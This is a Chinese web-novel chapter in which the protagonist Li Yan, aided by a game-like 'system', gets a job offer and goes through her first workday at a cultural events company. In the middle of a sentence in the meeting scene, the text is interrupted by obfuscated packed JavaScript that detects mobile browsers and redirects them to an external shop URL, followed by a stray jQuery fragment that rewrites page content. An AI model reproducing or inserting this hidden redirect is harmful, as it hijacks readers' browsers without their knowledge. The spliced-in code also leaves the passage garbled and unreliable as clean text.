等待的那几天比上次面试等待的时候更难熬。
因为希望越大，失望就越大。
李烟尽量让自己不去想这件事，每天照常投简历，看资料，学习新技能。
她把系统积分又花了10点，兑换了一次“专注力强化”，用于项目管理能力方面，这效率确实高，但积分也见底了，只剩20点了。
第三天下午，李烟正在超市买菜，手机突然响了。
她低头一看，是之前打给她的电话号码。
她的心猛地跳了一下，她放下手里的西红柿，走到超市相对安静的角落，深吸一口气，接起电话。
“喂，您好？”
“李女士你好，我是盛远文化人力资源部的周雨璇。”电话那头的声音带着笑意，“恭喜你通过了公司的终面，吴总对你非常认可，我们这边正式向你发出录用通知，职位是项目助理，你看什么时候方便来公司办理入职手续？”
李烟握着手机的手微微发抖。
通过了。
她通过了！
“李女士？你在听吗？”
“在的，我在听。”李烟的声音有一点发颤，她用力清了清嗓子，尽量让自己的语气听起来稳一些，“请问入职时间是哪天？”
“如果可以的话，希望你下周一能来报到，具体的入职材料，我会通过邮件发给你，你注意查收。”
“好的，没问题，谢谢你，周姐。”
她激动地挂了电话，李烟站在超市的货架中间，周围是来来往往的顾客和此起彼伏的促销广播，但她根本听不进去。
她低下头，看着手机屏幕上那通通话记录，忽然觉得眼眶有点发热。
有一种说不清道不明的复杂情绪涌了上来，就好像憋了很久的一口气，终于出来了。
她站了好一会儿，心情才平复好。
今天值得庆祝一下，哪怕是块小布丁。
回到家里，李烟坐在床边，慢慢品尝着布丁，甜味在舌尖化开的时候，她忽然想起了什么，在心里喊了一声：“系统你在吗？”
那个界面应声弹出。
【系统提示：主线任务第二阶段已完成。】
【任务状态：成功。】
【奖励结算：】
【1.基础积分+100。】
【2.技能模块“专注力强化”永久解锁（无需消耗积分）。】
【3.解锁新功能：初级情绪感知】
【说明：初级情绪感知可使宿主在一定范围内感知他人的情绪波动，有效距离3米，可用于判断谈话对象的真实态度，辅助决策。】
李烟看着屏幕上的奖励列表，愣了好一会儿。
专注力强化永久解锁，这意味着她以后学习新东西的效率能翻倍，不用再心疼积分了。
还有那个情绪感知，虽然只是初级，只能在三米内使用，但如果用在商务谈判或者日常沟通中，简直是作弊级别的外挂。
她忍不住弯了弯嘴角。
原来系统不是在坑她，它是真的在帮她，只是用了一种先让你摔跤，再给你拐杖让你爬起来的方式。
手机又震了一下，是小周发来的邮件通知，李烟点开附件，看到了正式的录用通知书和入职须知。
薪酬那一栏写的数字，比她预期的要高一些。
她盯着那个数字看了很久，然后把手机贴在胸口，仰面倒在床上，望着天花板笑了起来。
周一她就要入职盛远文化了。
-
周一早上七点半，李烟就到了盛远文化所在的文创园。
她本来不用来这么早的，因为入职通知上写的报到时间是九点，但她昨晚翻来覆去睡不着，满脑子都是第一天上班的各种设想，于是她干脆早早起床，把要带的材料检查了四五遍，又对着镜子换了套衣服，粉衬衫配蓝外套，裤子是白色裤子。
文创园的早晨很安静，咖啡馆还没开门，只有几个晨跑的人从她身边经过，李烟在园区里转了一圈，熟悉了一下环境，又在大门外的便利店买了一瓶水，坐在路边的长椅上等着时间一分一秒地过去。
八点四十分，她上楼来到盛远文化的门口。
门已经开了，前台的小姑娘看到她，笑着打了个招呼：“新同事是吧？先在这边等一下，我去叫周姐。”
李烟点点头，在前台旁边的等候区坐下来，她偷偷打量着办公区的样子，开放式的工位排列整齐，每张桌子上都摆着电脑和绿植，墙上的白板贴着一些项目进度表和便签纸，已经有几个早到的员工坐在工位上，有人端着咖啡在看邮件，有人在小声打着电话，一切都井然有序。
这就是她以后要工作的地方。
想到这里，李烟的心跳又快了几分。
不一会儿，一个扎着低马尾，戴着黑框眼镜的年轻女人走了过来，她看起来二十七八岁的样子，穿着一件浅蓝色的衬衫，袖子挽到手肘，手里拿着一沓文件，整个人透着一股利落干练的气质。
“李烟是吧？我是周雨璇，人力资源部的。”她笑着伸出手，“欢迎加入盛远文化。”
“周姐好。”李烟赶紧站起来，和她握了手。
“走吧，我先带你去办入职手续，然后带你认识一下团队的同事。”
入职手续比李烟想象中简单。
填表，交材料，录入指纹，领取工牌和门禁卡，前后不到二十分钟就搞定了。
周雨璇做事很麻利，一边办手续一边跟她交代一些注意事项，食堂在哪，茶水间在哪，打印机怎么用，报销流程怎么走，事无巨细，讲得特别清楚。
“你的工位在那边，跟我来。”周雨璇带着她穿过办公区，走到靠窗的一排工位前，指了指其中一张空着的桌子，“这是你的位置，电脑和办公用品都已经准备好了，你看看还缺什么，随时跟我说。”
李烟看着那张属于自己的工位，桌面干净整洁，一台崭新的显示器摆在正中，旁边放着一盆绿萝和一盒名片。她伸手摸了摸那张办公椅的扶手，心里涌起一种奇妙的感觉——这是她的位置，是她凭自己本事挣来的位置。
“你先熟悉一下环境，十点钟陈敏经理有个项目短会，她让你也参加。”周雨璇说完，又补充了一句，“对了，你的直属上级就是陈敏经理，以后工作上有什么事，直接找她就行。”
李烟点头应下，在工位上坐下来，打开了电脑。
电脑桌面很干净，只有几个基本的办公软件图标。
她登录了自己的账号，熟悉了一下内部系统的操作界面，又翻了翻共享文件夹里的项目资料，试图尽快了解目前团队在跟进的项目情况。
九点五十分，她提前十分钟来到了会议室。
会议室不大，是一间小型讨论室，中间摆着一张椭圆形的桌子，能坐六七个人。
陈敏已经到了，正坐在主位上翻看一份文件，看到李烟进来，抬头冲她笑了笑：“来了啊？坐吧。”
李烟在她右手边的位置坐下来，拿出笔记本和笔，做好了记录的准备。
陆续又有三个人走进来，一个戴着棒球帽的年轻男生，看起来和李烟差不多大，一个三十出头的女人，穿着一件剪裁利落的黑色西装外套；还有一个四十岁左右的男人，头顶有点秃，手里端着一个保温杯。
陈敏等所有人都坐定后，合上文件，开门见山地说：“今天这个短会主要是同步一下阑远科技那个项目的进展情况，老赵，你先说吧。”
那个端着保温杯的男人放下杯子，清了清嗓子：“上周五和阑远那边的市场部对接了一下，他们对第一版策划方案的整体框架是认可的，但对几个执行细节提出了修改意见，主要是发布会现场的互动环节设计，他们觉得现有的方案互动性不够强，想要增加一些能让参会者参与进来的元素。”
“具体要求呢？”陈敏问。
“他们希望能在发布会中场安排一个产品体验环节，让参会的媒体和嘉宾能亲手操作一下新产品，但这个涉及到现场的设备搭建和人员引导，工作量不小，而且留给我们的筹备时间只有两周了。”
陈敏皱了皱眉，沉思了几秒，然后看向那个戴棒球帽的男生：“小孟，你之前做过几次线下活动的执行，你觉得这个需求可行吗？”
叫小孟的男生挠了挠头，有些犹豫地说：“两周时间确实有点紧，但如果人手够的话，也不是完全不可能，主要是设备这块需要和阑远那边确认好，是他们自己提供样机还是我们来准备，这个差别很大。”
“行，这个问题我来和阑远沟通。”陈敏在笔记本上记了一笔，然后目光转向李烟，“李烟，你今天是第一天入职，按理说不应该这么快就给你派活，但眼下这个项目确实人手紧张，我想让你也跟着参与进来，先从一些基础的执行工作做起，就当是熟悉业务流程了，怎么样？你觉得呢？”
李烟没想到自己第一天就会被安排任务，心里既紧张又兴奋，连忙点头：“没问题，陈经理，有什么需要我做的，您尽管吩咐。”
“好。”陈敏翻开面前的文件夹，撕下一张便签纸，飞快地写了一行字递给她，“这是阑远科技那边对接人的联系方式，你加一下她的微信，先把项目的基本资料和过往的沟通记录要过来，熟悉一下背景，明天上午之前，我要看到你对这个项目的初步理解和想法，不需要多详细，几百字的简要报告就行，主要是看看你对信息的消化能力。”
“明白。”
李烟接过那张便签纸，小心翼翼地夹进笔记本里。
会议又持续了二十分钟，讨论了几个其他的工作事项。
李烟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949653|214148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
全程认真听着，手上的笔一刻没停，把每个人的发言要点都记了下来，虽然有些专业术语她还不太懂，但大致的内容她还是跟得上的。
散会后，陈敏把她留下来，又多嘱咐了几句：“第一天别给自己太大压力，不懂的就问，团队里的人都很愿意帮忙，你先把资料看完，有什么问题随时找我。”
“好的，谢谢陈经理。”
李烟回到工位上，第一件事就是加了阑远科技对接人的微信。
对方很快就通过了验证，发来一个链接，里面是项目的全套资料。
李烟道了谢，立刻打开链接，开始一份一份地翻阅起来。
这一看，就是一个上午。
阑远科技是一家做智能家居硬件的公司，这次的新产品是一款面向高端市场的智能音箱，盛远文化承接的是这款产品的上市发布会的全案策划和执行，李烟把过往的沟通记录，需求文档，会议纪要全部过了一遍，对项目的前因后果有了一个大致的了解。
她发现一个问题，现有的策划方案里，关于媒体邀约的部分写得比较笼统，只列了一个大概的媒体类别，没有具体的媒体名单和邀约策略，而在她看过的那些活动报道中，媒体到场率和报道质量往往是决定一场发布会成败的关键因素之一。
她在笔记本上把这个点记了下来，打算明天和陈敏汇报的时候提一提。
中午吃饭的时候，周雨璇主动过来叫她：“走，带你尝尝我们食堂的红烧肉，味道很不错。”
盛远文化的食堂在一楼，和隔壁几家文创园里的公司共用，菜品谈不上丰盛，但胜在干净实惠，周雨璇帮她刷了卡，说是新员工第一顿饭她请客，然后端着餐盘在她对面坐下来。
“怎么样？第一天上午感觉如何？”周雨璇夹起一块红烧肉，随口问道。
“挺好的，大家都在忙自己的事情，氛围很好。”李烟诚实地说，“就是感觉自己要学的东西还挺多的。”
“正常，谁不是从新人过来的。”周雨璇笑了笑，“陈姐这个人看着严格，但其实很好相处的，只要你做事靠谱，态度端正，她不会为难你的，倒是有一件事我得提醒你啊。”
李烟放下筷子，认真地看着她。
“咱们公司虽然是百盛旗下的，但平时和总部那边的交集并不多，不过偶尔也会有总部的人过来开会或者视察，碰到了不用紧张，该打招呼打招呼，该干活干活，别太拘束就行。”
李烟点了点头，心里却不自觉地想起了那张脸。
谢鸢生。
那种级别的人，应该不会出现在这种文创园的小公司里吧。
下午的时间过得很快。
李烟继续啃阑远科技的资料，中间还抽空把陈敏要的那份简要写了个初稿。
她不确定自己的理解是不是到位，犹豫了一会儿，还是鼓起勇气走到小孟的工位前，把写好的东西给他看了一眼。
“孟哥，能不能麻烦你帮我把把关？我怕自己理解偏了。”
小孟接过去扫了一眼，有些意外地挑了挑眉：“可以啊，这才第一天就能写出这种东西，比我当年强多了。”他用笔在纸上圈了两处，“这两点的表述稍微调整一下会更准确，其他的没什么问题。”
“谢谢孟哥！”
李烟拿着改好的报告回到工位上，心里踏实了不少。
下班时间一到，办公室里的人陆续开始收拾东西。
李烟看了看电脑右下角的时间，没有马上走，而是把今天看过的资料又重新整理归类了一遍，把重要的信息点标注出来，又把自己明天的待办事项列了一张清单。
等她做完这一切，办公室里已经走得差不多了，她关掉电脑，收拾好桌面，起身准备离开。
走到门口的时候，她迎面碰上了刚从外面回来的陈敏。
“还没走？”陈敏看到她，有些意外。
“正准备走。”李烟笑了笑，“陈经理也刚忙完？”
“嗯，出去见了趟客户。”陈敏的目光落在她手里的笔记本上，“今天感觉怎么样？”
“挺好的，学到了很多东西。”李烟想了想，又补了一句，“资料我已经看完了，报告的初稿也写好了，发到您邮箱了，明天我再根据您的反馈修改。”
陈敏微微一愣，显然没想到她动作这么快。
“行，我晚上回去看。”她点了点头，语气里带着一丝不易察觉的满意，“早点回去吧，第一天别太拼。”
“好的，陈经理再见。”
走出文创园的时候，天色已经暗下来了。路灯亮起，把李烟的影子拉得很长，她一边等公交一边刷着手机。
公交车来了，李烟收起手机，上了车。
她靠在车窗边，看着窗外流动的灯火，忽然觉得这日子突然有了盼头